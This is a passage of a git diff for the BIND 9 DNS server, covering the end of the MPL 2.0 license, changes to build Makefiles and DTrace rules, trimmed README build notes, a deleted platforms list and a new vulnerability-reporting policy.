+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Software due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be placed in a text file included with all distributions of the Covered Software under this License. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Termination
+
+     5.1. The rights granted under this License will terminate automatically if You fail to comply with any of its terms. However, if You become compliant, then the rights granted under this License from a particular Contributor are reinstated (a) provisionally, unless and until such Contributor explicitly and finally terminates Your grants, and (b) on an ongoing basis, if such Contributor fails to notify You of the non-compliance by some reasonable means prior to 60 days after You have come back into compliance. Moreover, Your grants from a particular Contributor are reinstated on an ongoing basis if such Contributor notifies You of the non-compliance by some reasonable means, this is the first time You have received notice of non-compliance with this License from such Contributor, and You become compliant prior to 30 days after Your receipt of the notice.
+
+     5.2. If You initiate litigation against any entity by asserting a patent infringement claim (excluding declaratory judgment actions, counter-claims, and cross-claims) alleging that a Contributor Version directly or indirectly infringes any patent, then the rights granted to You by any and all Contributors for the Covered Software under Section 2.1 of this License shall terminate.
+
+     5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or Your distributors under this License prior to termination shall survive termination.
+
+6. Disclaimer of Warranty
+Covered Software is provided under this License on an "as is" basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the Covered Software is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire risk as to the quality and performance of the Covered Software is with You. Should any Covered Software prove defective in any respect, You (not any Contributor) assume the cost of any necessary servicing, repair, or correction. This disclaimer of warranty constitutes an essential part of this License. No use of any Covered Software is authorized under this License except under this disclaimer.
+
+7. Limitation of Liability
+Under no circumstances and under no legal theory, whether tort (including negligence), contract, or otherwise, shall any Contributor, or anyone who distributes Covered Software as permitted above, be liable to You for any direct, indirect, special, incidental, or consequential damages of any character including, without limitation, damages for lost profits, loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses, even if such party shall have been informed of the possibility of such damages. This limitation of liability shall not apply to liability for death or personal injury resulting from such party's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+8. Litigation
+Any litigation relating to this License may be brought only in the courts of a jurisdiction where the defendant maintains its principal place of business and such litigation shall be governed by laws of that jurisdiction, without reference to its conflict-of-law provisions. Nothing in this Section shall prevent a party's ability to bring cross-claims or counter-claims.
+
+9. Miscellaneous
+This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not be used to construe this License against a Contributor.
+
+10. Versions of the License
+
+     10.1. New Versions
+     Mozilla Foundation is the license steward. Except as provided in Section 10.3, no one other than the license steward has the right to modify or publish new versions of this License. Each version will be given a distinguishing version number.
+
+     10.2. Effect of New Versions
+     You may distribute the Covered Software under the terms of the version of the License under which You originally received the Covered Software, or under the terms of any subsequent version published by the license steward.
+
+     10.3. Modified Versions
+     If you create software not governed by this License, and you want to create a new license for such software, you may create and use a modified version of this License if you rename the license and remove any references to the name of the license steward (except to note that such modified license differs from this License).
+
+     10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses
+     If You choose to distribute Source Code Form that is Incompatible With Secondary Licenses under the terms of this version of the License, the notice described in Exhibit B of this License must be attached.
+
+Exhibit A - Source Code Form License Notice
+
+     This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+If it is not possible or desirable to put the notice in a particular file, then You may include the notice in a location (such as a LICENSE file in a relevant directory) where a recipient would be likely to look for such a notice.
+
+You may add additional accurate notices of copyright ownership.
+
+Exhibit B - "Incompatible With Secondary Licenses" Notice
+
+     This Source Code Form is "Incompatible With Secondary Licenses", as defined by the Mozilla Public License, v. 2.0.
diff --git a/Makefile.am b/Makefile.am
index f2005cfab7..df91934e03 100644
--- a/Makefile.am
+++ b/Makefile.am
@@ -1,19 +1,25 @@
 include $(top_srcdir)/Makefile.top
 
-SUBDIRS = . lib doc bin fuzz
+SUBDIRS = . lib doc
 
-BUILT_SOURCES = bind.keys.h
-CLEANFILES = bind.keys.h
+# build libtest before fuzz/* and bin/tests
+SUBDIRS += tests
+
+# run fuzz tests before system tests
+SUBDIRS += fuzz bin
+
+BUILT_SOURCES += bind.keys.h
+CLEANFILES += bind.keys.h
 
 bind.keys.h: bind.keys Makefile
 	${PERL} ${top_srcdir}/util/bindkeys.pl ${top_srcdir}/bind.keys > $@
 
-dist_sysconf_DATA = bind.keys
-
 .PHONY: doc
 
-EXTRA_DIST = 			\
+EXTRA_DIST =			\
+	bind.keys		\
 	util/bindkeys.pl	\
+	util/dtrace.sh		\
 	contrib			\
 	CHANGES			\
 	COPYRIGHT		\
diff --git a/Makefile.docs b/Makefile.docs
index 3b2700687b..674f51d2fc 100644
--- a/Makefile.docs
+++ b/Makefile.docs
@@ -2,6 +2,7 @@ SPHINX_V = $(SPHINX_V_@AM_V@)
 SPHINX_V_ = $(SPHINX_V_@AM_DEFAULT_V@)
 SPHINX_V_0 = -q
 SPHINX_V_1 = -n
+SPHINX_W = -W
 
 AM_V_SPHINX = $(AM_V_SPHINX_@AM_V@)
 AM_V_SPHINX_ = $(AM_V_SPHINX_@AM_DEFAULT_V@)
@@ -9,26 +10,47 @@ AM_V_SPHINX_0 = @echo "  SPHINX   $@";
 
 SPHINXBUILDDIR = $(builddir)/_build
 
+LF = \n
+RNDC_CONF = .. |rndc_conf| replace:: ``$(sysconfdir)/rndc.conf``
+RNDC_KEY = .. |rndc_key| replace:: ``$(sysconfdir)/rndc.key``
+NAMED_CONF = .. |named_conf| replace:: ``$(sysconfdir)/named.conf``
+NAMED_PID = .. |named_pid| replace:: ``$(runstatedir)/named.pid``
+SESSION_KEY = .. |session_key| replace:: ``$(runstatedir)/session.key``
+
+export RST_EPILOG = $(RNDC_CONF)$(LF)$(RNDC_KEY)$(LF)$(NAMED_CONF)$(LF)$(BIND_KEYS)$(LF)$(NAMED_PID)$(LF)$(SESSION_KEY)
+
 common_SPHINXOPTS =			\
-	-W				\
+	$(SPHINX_W)			\
 	-c $(srcdir)			\
 	-a				\
 	$(SPHINX_V)
 
-ALLSPHINXOPTS =				\
-	$(common_SPHINXOPTS)		\
-	-D version="$(PACKAGE_VERSION)"	\
-	-D today="$(RELEASE_DATE)"	\
-	-D release="$(PACKAGE_VERSION)"	\
-	$(SPHINXOPTS)			\
+# The "today" variable set below is not directly used in the ARM, but its value
+# is implicitly inserted on the title page of the PDF file produced by Sphinx.
+ALLSPHINXOPTS =					\
+	$(common_SPHINXOPTS)			\
+	-D today="$(RELEASE_DATE)"		\
+	-D rst_epilog="$$(printf "$${RST_EPILOG}")"	\
+	$(SPHINXOPTS)				\
 	$(srcdir)
 
-man_SPHINXOPTS =			\
-	$(common_SPHINXOPTS)		\
-	-D version="@""PACKAGE_VERSION@"\
-	-D today="@""RELEASE_DATE@"	\
-	-D release="@""PACKAGE_VERSION@"\
-	$(SPHINXOPTS)			\
+_ = @
+man_RNDC_CONF = .. |rndc_conf| replace:: ``$(_)sysconfdir$(_)/rndc.conf``
+man_RNDC_KEY = .. |rndc_key| replace:: ``$(_)sysconfdir$(_)/rndc.key``
+man_NAMED_CONF = .. |named_conf| replace:: ``$(_)sysconfdir$(_)/named.conf``
+man_BIND_KEYS = .. |bind_keys| replace:: ``$(_)sysconfdir$(_)/bind.keys``
+man_NAMED_PID = .. |named_pid| replace:: ``$(_)runstatedir$(_)/named.pid``
+man_SESSION_KEY = .. |session_key| replace:: ``$(_)runstatedir$(_)/session.key``
+
+export man_RST_EPILOG = $(man_RNDC_CONF)$(LF)$(man_RNDC_KEY)$(LF)$(man_NAMED_CONF)$(LF)$(man_BIND_KEYS)$(LF)$(man_NAMED_PID)$(LF)$(man_SESSION_KEY)
+
+man_SPHINXOPTS =				\
+	$(common_SPHINXOPTS)			\
+	-D version="@""PACKAGE_VERSION@"	\
+	-D today="@""RELEASE_DATE@"		\
+	-D release="@""PACKAGE_VERSION@"	\
+	-D rst_epilog="$$(printf "$${man_RST_EPILOG}")"	\
+	$(SPHINXOPTS)				\
 	$(srcdir)
 
 AM_V_SED = $(AM_V_SED_@AM_V@)
@@ -38,15 +60,3 @@ AM_V_SED_0 = @echo "  SED $@";
 AM_V_CFG_TEST = $(AM_V_CFG_TEST_@AM_V@)
 AM_V_CFG_TEST_ = $(AM_V_CFG_TEST_@AM_DEFAULT_V@)
 AM_V_CFG_TEST_0 = @echo "  CFG_GEN $@";
-
-AM_V_RST_OPTIONS = $(AM_V_CFG_TEST_@AM_V@)
-AM_V_RST_OPTIONS_ = $(AM_V_RST_OPTIONS_@AM_DEFAULT_V@)
-AM_V_RST_OPTIONS_0 = @echo "  RST_OPTIONS $@";
-
-AM_V_RST_ZONEOPT = $(AM_V_CFG_TEST_@AM_V@)
-AM_V_RST_ZONEOPT_ = $(AM_V_RST_ZONEOPT_@AM_DEFAULT_V@)
-AM_V_RST_ZONEOPT_0 = @echo "  RST_ZONEOPT $@";
-
-AM_V_RST_GRAMMARS = $(AM_V_CFG_TEST_@AM_V@)
-AM_V_RST_GRAMMARS_ = $(AM_V_RST_GRAMMARS_@AM_DEFAULT_V@)
-AM_V_RST_GRAMMARS_0 = @echo "  RST_GRAMMARS $@";
diff --git a/Makefile.dtrace b/Makefile.dtrace
new file mode 100644
index 0000000000..9cb6b002b9
--- /dev/null
+++ b/Makefile.dtrace
@@ -0,0 +1,20 @@
+# Hey Emacs, this is -*- makefile-automake -*- file!
+# vim: filetype=automake
+
+AM_V_DTRACE = $(AM_V_DTRACE_@AM_V@)
+AM_V_DTRACE_ = $(AM_V_DTRACE_@AM_DEFAULT_V@)
+AM_V_DTRACE_0 = @echo "  DTRACE   $@";
+
+BUILT_SOURCES += probes.h
+CLEANFILES += probes.h probes.o
+
+probes.h: Makefile probes.d
+	$(AM_V_DTRACE)$(DTRACE) -s $(srcdir)/probes.d -h -o $@
+probes.lo: Makefile probes.d $(DTRACE_DEPS)
+	$(AM_V_DTRACE)$(LIBTOOL) --mode=compile --tag=CC $(DTRACE) -s $(srcdir)/probes.d -G -o $@ $(DTRACE_OBJS)
+
+if HAVE_DTRACE
+if !HOST_MACOS
+DTRACE_LIBADD = probes.lo
+endif
+endif
diff --git a/Makefile.tests b/Makefile.tests
index 3b5e07d90c..e1b7e0e046 100644
--- a/Makefile.tests
+++ b/Makefile.tests
@@ -1,11 +1,23 @@
 # Hey Emacs, this is -*- makefile-automake -*- file!
 # vim: filetype=automake
 
+unit-local: check
+
+if HAVE_CMOCKA
+TESTS = $(check_PROGRAMS)
+endif HAVE_CMOCKA
+
+LOG_COMPILER = $(top_builddir)/tests/unit-test-driver.sh
+
+AM_CFLAGS +=					\
+	-I$(top_srcdir)/tests/include		\
+	$(TEST_CFLAGS)
+
 AM_CPPFLAGS +=					\
 	$(CMOCKA_CFLAGS)			\
-	-DNAMED_PLUGINDIR=\"$(libdir)/named\"	\
-	-DSKIPPED_TEST_EXIT_CODE=77		\
+	-DNAMED_PLUGINDIR=\"$(pkglibdir)\"	\
 	-DTESTS_DIR=\"$(abs_srcdir)\"
 
-LDADD =			\
+LDADD +=						\
+	$(top_builddir)/tests/libtest/libtest.la	\
 	$(CMOCKA_LIBS)
diff --git a/Makefile.top b/Makefile.top
index 5826876371..d01317dadb 100644
--- a/Makefile.top
+++ b/Makefile.top
@@ -11,7 +11,12 @@ AM_CPPFLAGS =					\
 	-include $(top_builddir)/config.h	\
 	-I$(srcdir)/include
 
-AM_LDFLAGS =
+AM_LDFLAGS =					\
+	$(STD_LDFLAGS)
+LDADD =
+
+BUILT_SOURCES =
+CLEANFILES =
 
 if HOST_MACOS
 AM_LDFLAGS +=					\
@@ -24,6 +29,9 @@ LIBISC_CFLAGS =						\
 	-I$(top_builddir)/lib/isc/include
 
 LIBISC_LIBS = $(top_builddir)/lib/isc/libisc.la
+if HAVE_DTRACE
+LIBISC_DTRACE = $(top_builddir)/lib/isc/probes.lo
+endif
 
 LIBDNS_CFLAGS = \
 	-I$(top_srcdir)/lib/dns/include			\
@@ -31,18 +39,18 @@ LIBDNS_CFLAGS = \
 
 LIBDNS_LIBS = \
 	$(top_builddir)/lib/dns/libdns.la
+if HAVE_DTRACE
+LIBDNS_DTRACE = $(top_builddir)/lib/dns/probes.lo
+endif
 
 LIBNS_CFLAGS = \
 	-I$(top_srcdir)/lib/ns/include
 
 LIBNS_LIBS = \
 	$(top_builddir)/lib/ns/libns.la
-
-LIBIRS_CFLAGS = \
-	-I$(top_srcdir)/lib/irs/include
-
-LIBIRS_LIBS = \
-	$(top_builddir)/lib/irs/libirs.la
+if HAVE_DTRACE
+LIBNS_DTRACE = $(top_builddir)/lib/ns/probes.lo
+endif
 
 LIBISCCFG_CFLAGS = \
 	-I$(top_srcdir)/lib/isccfg/include
@@ -55,9 +63,3 @@ LIBISCCC_CFLAGS = \
 
 LIBISCCC_LIBS = \
 	$(top_builddir)/lib/isccc/libisccc.la
-
-LIBBIND9_CFLAGS = \
-	-I$(top_srcdir)/lib/bind9/include
-
-LIBBIND9_LIBS = \
-	$(top_builddir)/lib/bind9/libbind9.la
diff --git a/OPTIONS.md b/OPTIONS.md
index 642d9549fc..acdcaf823e 100644
--- a/OPTIONS.md
+++ b/OPTIONS.md
@@ -1,12 +1,14 @@
 <!--
- - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
- -
- - See the COPYRIGHT file distributed with this work for additional
- - information regarding copyright ownership.
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 -->
 Setting the `CPPFLAGS` environment variable before running `configure`
 can be used to enable certain compile-time options that are not
@@ -24,3 +26,4 @@ Some of these settings are:
 | `-DISC_MEM_TRACKLINES=0`     | Don't track memory allocations by file and line number; this improves performance but makes debugging more difficult                   |
 | `-DNAMED_RUN_PID_DIR=0`      | Create default PID files in `${localstatedir}/run` rather than `${localstatedir}/run/named/`                                           |
 | `-DNS_CLIENT_DROPPORT=0`     | Disable dropping queries from particular well-known ports                                                                              |
+| `-DOPENSSL_API_COMPAT=10100` | Build using the deprecated OpenSSL APIs so that the `engine` API is available when building with OpenSSL 3.0.0 for PKCS#11 support     |
diff --git a/PLATFORMS.md b/PLATFORMS.md
deleted file mode 100644
index 37bcd1dac1..0000000000
--- a/PLATFORMS.md
+++ /dev/null
@@ -1,102 +0,0 @@
-<!--
- - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
- -
- - See the COPYRIGHT file distributed with this work for additional
- - information regarding copyright ownership.
--->
-## Supported platforms
-
-In general, this version of BIND will build and run on any POSIX-compliant
-system with a C11-compliant C compiler, BSD-style sockets with RFC-compliant
-IPv6 support, POSIX-compliant threads, the `libuv` asynchronous I/O library,
-the OpenSSL cryptography library, and the `nghttp2` HTTP/2 library.
-
-The following C11 features are used in BIND 9:
-
-* Atomic operations support from the compiler is needed, either in the form of
-  builtin operations.
-
-* Thread Local Storage support from the compiler is needed, either in the form
-  of C11 `_Thread_local`/`thread_local`, or the `__thread` GCC extension.
-
-The C11 variants are preferred.
-
-BIND 9.17 requires a fairly recent version of `libuv` (at least 1.x).  For
-some of the older systems listed below, you will have to install an updated
-`libuv` package from sources such as EPEL, PPA, or other native sources for
-updated packages. The other option is to build and install `libuv` from
-source.
-
-Certain optional BIND features have additional library dependencies.
-These include `libxml2` and `libjson-c` for statistics, `libmaxminddb` for
-geolocation, `libfstrm` and `libprotobuf-c` for DNSTAP, and `libidn2` for
-internationalized domain name conversion.
-
-ISC regularly tests BIND on many operating systems and architectures, but
-lacks the resources to test all of them. Consequently, ISC is only able to
-offer support on a "best effort" basis for some.
-
-### Regularly tested platforms
-
-As of Nov 2020, BIND 9.17 is fully supported and regularly tested on the
-following systems:
-
-* Debian 9, 10
-* Ubuntu LTS 18.04, 20.04
-* Fedora 34
-* Red Hat Enterprise Linux / CentOS 7, 8
-* FreeBSD 11.4, 12.2, 13.0
-* OpenBSD 6.9
-* Alpine Linux 3.13
-
-The amd64, i386, armhf and arm64 CPU architectures are all fully supported.
-
-### Best effort
-
-The following are platforms on which BIND is known to build and run.
-ISC makes every effort to fix bugs on these platforms, but may be unable
-to do so quickly due to lack of hardware, less familiarity on the part
-of engineering staff, and other constraints. None of these are tested
-regularly by ISC.
-
-* macOS 10.12+
-* Solaris 11
-* NetBSD
-* Other Linux distributions still supported by their vendors, such as:
-    * Ubuntu 20.10+
-    * Gentoo
-    * Arch Linux
-* OpenWRT/LEDE 17.01+
-* Other CPU architectures (mips, mipsel, sparc, ...)
-
-### Community maintained
-
-These systems may not all have the required dependencies for building BIND
-easily available, although it will be possible in many cases to compile
-those directly from source. The community and interested parties may wish
-to help with maintenance, and we welcome patch contributions, although we
-cannot guarantee that we will accept them.  All contributions will be
-assessed against the risk of adverse effect on officially supported
-platforms.
-
-* Platforms past or close to their respective EOL dates, such as:
-    * Ubuntu 14.04, 16.04 (Ubuntu ESM releases are not supported)
-    * CentOS 6
-    * Debian Jessie
-    * FreeBSD 10.x
-
-## Unsupported platforms
-
-These are platforms on which BIND 9.17 is known *not* to build or run:
-
-* Platforms without at least OpenSSL 1.0.2
-* Windows
-* Solaris 10 and older
-* Platforms that don't support IPv6 Advanced Socket API (RFC 3542)
-* Platforms that don't support atomic operations (via compiler or library)
-* Linux without NPTL (Native POSIX Thread Library)
-* Platforms on which `libuv` cannot be compiled
diff --git a/README.md b/README.md
index c6172f5e0f..6e39de51e7 100644
--- a/README.md
+++ b/README.md
@@ -1,12 +1,14 @@
 <!--
- - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
- -
- - See the COPYRIGHT file distributed with this work for additional
- - information regarding copyright ownership.
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 -->
 # BIND 9
 
@@ -16,9 +18,6 @@
 1. [Reporting bugs and getting help](#help)
 1. [Contributing to BIND](#contrib)
 1. [Building BIND](#build)
-1. [macOS](#macos)
-1. [Dependencies](#dependencies)
-1. [Compile-time options](#opts)
 1. [Automated testing](#testing)
 1. [Documentation](#doc)
 1. [Change log](#changes)
@@ -49,9 +48,6 @@ Internet infrastructure, developed BIND 9 and is responsible for its
 ongoing maintenance and improvement. BIND is open source software
 licensed under the terms of the Mozilla Public License, version 2.0.
 
-For a summary of features introduced in past major releases of BIND,
-see the file [HISTORY](HISTORY.md).
-
 For a detailed list of changes made throughout the history of BIND 9, see
 the file [CHANGES](CHANGES). See [below](#changes) for details on the
 CHANGES file format.
@@ -59,7 +55,9 @@ CHANGES file format.
 For up-to-date versions and release notes, see
 [https://www.isc.org/download/](https://www.isc.org/download/).
 
-For information about supported platforms, see [PLATFORMS](PLATFORMS.md).
+For information about supported platforms, see the
+["Supported Platforms"](doc/arm/platforms.rst) section in the BIND 9
+Administrator Reference Manual.
 
 ### <a name="help"/> Reporting bugs and getting help
 
@@ -76,17 +74,9 @@ contents of your configuration file in a non-confidential issue, it is
 advisable to obscure key secrets; this can be done automatically by
 using `named-checkconf -px`.
 
-If you are reporting a bug that is a potential security issue, such as an
-assertion failure or other crash in `named`, please do *NOT* use GitLab to
-report it. Instead, send mail to
-[security-officer@isc.org](mailto:security-officer@isc.org) using our
-OpenPGP key to secure your message. (Information about OpenPGP and links
-to our key can be found at
-[https://www.isc.org/pgpkey](https://www.isc.org/pgpkey).) Please do not
-discuss the bug on any public mailing list.
-
-For a general overview of ISC security policies, read the Knowledgebase
-article at [https://kb.isc.org/docs/aa-00861](https://kb.isc.org/docs/aa-00861).
+For information about ISC's Security Vulnerability Disclosure Policy and
+information about reporting potential security issues, please see
+`SECURITY.md`.
 
 Professional support and training for BIND are available from
 ISC. Contact us at [https://www.isc.org/contact](https://www.isc.org/contact)
@@ -126,141 +116,9 @@ including your patch as an attachment, preferably generated by
 
 ### <a name="build"/> Building BIND 9
 
-At a minimum, BIND requires a Unix or Linux system with an ANSI C compiler,
-basic POSIX support, and a 64-bit integer type. BIND also requires the
-`libuv` asynchronous I/O library, the `nghttp2` HTTP/2 library, and a
-cryptography provider library such as OpenSSL or a hardware service
-module supporting PKCS#11. On Linux, BIND requires the `libcap` library
-to set process privileges, though this requirement can be overridden by
-disabling capability support at compile time. See [Compile-time
-options](#opts) below for details on other libraries that may be
-required to support optional features.
-
-Successful builds have been observed on many versions of Linux and
-Unix, including RHEL/CentOS, Fedora, Debian, Ubuntu, SLES, openSUSE,
-Slackware, Alpine, FreeBSD, NetBSD, OpenBSD, macOS, Solaris,
-OpenIndiana, OmniOS CE, HP-UX, and OpenWRT.
-
-To build on a Unix or Linux system, use:
-
-		$ autoreconf -fi (if you are building in the git repository)
-		$ ./configure
-		$ make
-
-If you're using Emacs, you might find `make tags` helpful.
-
-Several environment variables, which can be set before running `configure`,
-affect compilation.  Significant ones are:
-
-|Variable|Description |
-|--------------------|-----------------------------------------------|
-|`CC`|The C compiler to use.  `configure` tries to figure out the right one for supported systems.|
-|`CFLAGS`|C compiler flags.  Defaults to include -g and/or -O2 as supported by the compiler.  Please include '-g' if you need to set `CFLAGS`. |
-|`LDFLAGS`|Linker flags. Defaults to empty string.|
-
-Additional environment variables affecting the build are listed at the
-end of the `configure` help text, which can be obtained by running the
-command:
-
-    $ ./configure --help
-
-#### <a name="macos"> macOS
-
-Building on macOS assumes that the "Command Tools for Xcode" are installed.
-These can be downloaded from
-[https://developer.apple.com/download/more/](https://developer.apple.com/download/more/)
-or, if you have Xcode already installed, you can run `xcode-select --install`.
-(Note that an Apple ID may be required to access the download page.)
-
-#### <a name="dependencies"> Dependencies
-
-To build BIND you need to have the following packages installed:
-
-    libuv
-    pkg-config / pkgconfig / pkgconf
-
-To build BIND from the git repository, you need the following tools
-installed:
-
-    autoconf (includes autoreconf)
-    automake
-    libtool
-
-#### <a name="opts"/> Compile-time options
-
-To see a full list of configuration options, run `configure --help`.
-
-For the server to support DNSSEC, you need to build it with crypto support.
-To use OpenSSL, you should have OpenSSL 1.0.2e or newer installed. If the
-OpenSSL library is installed in a nonstandard location, specify the prefix
-using `--with-openssl=<PREFIX>` on the configure command line. To use a
-PKCS#11 hardware service module for cryptographic operations, specify the
-path to the PKCS#11 provider library using `--with-pkcs11=<PREFIX>`, and
-configure BIND with `--enable-native-pkcs11`.
-
-To support the HTTP statistics channel, the server must be linked with at
-least one of the following libraries: `libxml2`
-[http://xmlsoft.org](http://xmlsoft.org) or `json-c`
-[https://github.com/json-c/json-c](https://github.com/json-c/json-c).
-If these are installed at a nonstandard location, then:
-
-* for `libxml2`, specify the prefix using `--with-libxml2=/prefix`.
-* for `json-c`, adjust `PKG_CONFIG_PATH`.
-
-To support compression on the HTTP statistics channel, the server must be
-linked against `libzlib`. If this is installed in a nonstandard location,
-specify the prefix using `--with-zlib=/prefix`.
-
-To support storing configuration data for runtime-added zones in an LMDB
-database, the server must be linked with `liblmdb`. If this is installed in a
-nonstandard location, specify the prefix using `with-lmdb=/prefix`.
-
-To support MaxMind GeoIP2 location-based ACLs, the server must be linked
-with `libmaxminddb`. This is turned on by default if the library is
-found; if the library is installed in a nonstandard location,
-specify the prefix using `--with-maxminddb=/prefix`. GeoIP2 support
-can be switched off with `--disable-geoip`.
-
-For DNSTAP packet logging, you must have installed `libfstrm`
-[https://github.com/farsightsec/fstrm](https://github.com/farsightsec/fstrm)
-and `libprotobuf-c`
-[https://developers.google.com/protocol-buffers](https://developers.google.com/protocol-buffers),
-and BIND must be configured with `--enable-dnstap`.
-
-Certain compiled-in constants and default settings can be decreased to
-values better suited to small machines, e.g. OpenWRT boxes, by specifying
-`--with-tuning=small` on the `configure` command line. This decreases
-memory usage by using smaller structures, but degrades performance.
-
-On Linux, process capabilities are managed in user space using
-the `libcap` library, which can be installed on most Linux systems via
-the `libcap-dev` or `libcap-devel` package. Process capability support can
-also be disabled by configuring with `--disable-linux-caps`.
-
-On some platforms it is necessary to explicitly request large file support
-to handle files bigger than 2GB.  This can be done by using
-`--enable-largefile` on the `configure` command line.
-
-Support for the "fixed" rrset-order option can be enabled or disabled by
-specifying `--enable-fixed-rrset` or `--disable-fixed-rrset` on the
-configure command line. By default, fixed rrset-order is disabled to
-reduce memory footprint.
-
-The `--enable-querytrace` option causes `named` to log every step of
-processing every query. The `--enable-singletrace` option turns on the
-same verbose tracing, but allows an individual query to be separately
-traced by setting its query ID to 0. These options should only be enabled
-when debugging, because they have a significant negative impact on query
-performance.
-
-`make install` installs `named` and the various BIND 9 libraries. By
-default, installation is into /usr/local, but this can be changed with the
-`--prefix` option when running `configure`.
-
-You may specify the option `--sysconfdir` to set the directory where
-configuration files like `named.conf` go by default, and `--localstatedir`
-to set the default parent directory of `run/named.pid`. `--sysconfdir`
-defaults to `$prefix/etc` and `--localstatedir` defaults to `$prefix/var`.
+For information about building BIND 9, see the
+["Building BIND 9"](doc/arm/build.inc.rst) section in the BIND 9
+Administrator Reference Manual.
 
 ### <a name="testing"/> Automated testing
 
diff --git a/SECURITY.md b/SECURITY.md
new file mode 100644
index 0000000000..2c63605988
--- /dev/null
+++ b/SECURITY.md
@@ -0,0 +1,35 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+# Security Policy
+
+ISC's Security Vulnerability Disclosure Policy is documented in the
+relevant [ISC Knowledgebase article][1].
+
+## Reporting possible security issues
+
+If you think you may be seeing a potential security vulnerability in
+BIND (for example, a crash with a REQUIRE, INSIST, or ASSERT failure),
+please report it immediately by [opening a confidential GitLab issue][2]
+(preferred) or emailing bind-security@isc.org.
+
+Please do not discuss undisclosed security vulnerabilities on any public
+mailing list. ISC has a long history of handling reported
+vulnerabilities promptly and effectively and we respect and acknowledge
+responsible reporters.
+
+If you have a crash, you may want to consult the Knowledgebase article
+entitled ["What to do if your BIND or DHCP server has crashed"][3].
+
+[1]: https://kb.isc.org/docs/aa-00861
+[2]: https://gitlab.isc.org/isc-projects/bind9/-/issues/new?issue[confidential]=true&issuable_template=Bug
+[3]: https://kb.isc.org/docs/aa-00340
diff --git a/bin/Makefile.am b/bin/Makefile.am
index 296a0220f7..ba7658e1a7 100644
--- a/bin/Makefile.am
+++ b/bin/Makefile.am
@@ -1,5 +1 @@
 SUBDIRS = named rndc dig delv dnssec tools nsupdate check confgen tests plugins
-
-if HAVE_PKCS11
-SUBDIRS += pkcs11
-endif
diff --git a/bin/check/Makefile.am b/bin/check/Makefile.am
index fd8e51ba65..c25dc4d3bf 100644
--- a/bin/check/Makefile.am
+++ b/bin/check/Makefile.am
@@ -4,10 +4,9 @@ AM_CPPFLAGS +=			\
 	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)	\
 	$(LIBNS_CFLAGS)		\
-	$(LIBISCCFG_CFLAGS)	\
-	$(LIBBIND9_CFLAGS)
+	$(LIBISCCFG_CFLAGS)
 
-AM_CPPFLAGS +=						\
+AM_CPPFLAGS +=			\
 	-DNAMED_CONFFILE=\"${sysconfdir}/named.conf\"
 
 noinst_LTLIBRARIES = libcheck-tool.la
@@ -16,13 +15,12 @@ libcheck_tool_la_SOURCES =	\
 	check-tool.h		\
 	check-tool.c
 
-LDADD =				\
+LDADD +=			\
 	libcheck-tool.la	\
 	$(LIBISC_LIBS)		\
 	$(LIBDNS_LIBS)		\
 	$(LIBNS_LIBS)		\
-	$(LIBISCCFG_LIBS)	\
-	$(LIBBIND9_LIBS)
+	$(LIBISCCFG_LIBS)
 
 bin_PROGRAMS = named-checkconf named-checkzone
 
diff --git a/bin/check/check-tool.c b/bin/check/check-tool.c
index dd9a98c297..93cde40550 100644
--- a/bin/check/check-tool.c
+++ b/bin/check/check-tool.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,6 +14,7 @@
 /*! \file */
 
 #include <inttypes.h>
+#include <netdb.h>
 #include <stdbool.h>
 #include <stdio.h>
 
@@ -19,9 +22,8 @@
 #include <isc/log.h>
 #include <isc/mem.h>
 #include <isc/net.h>
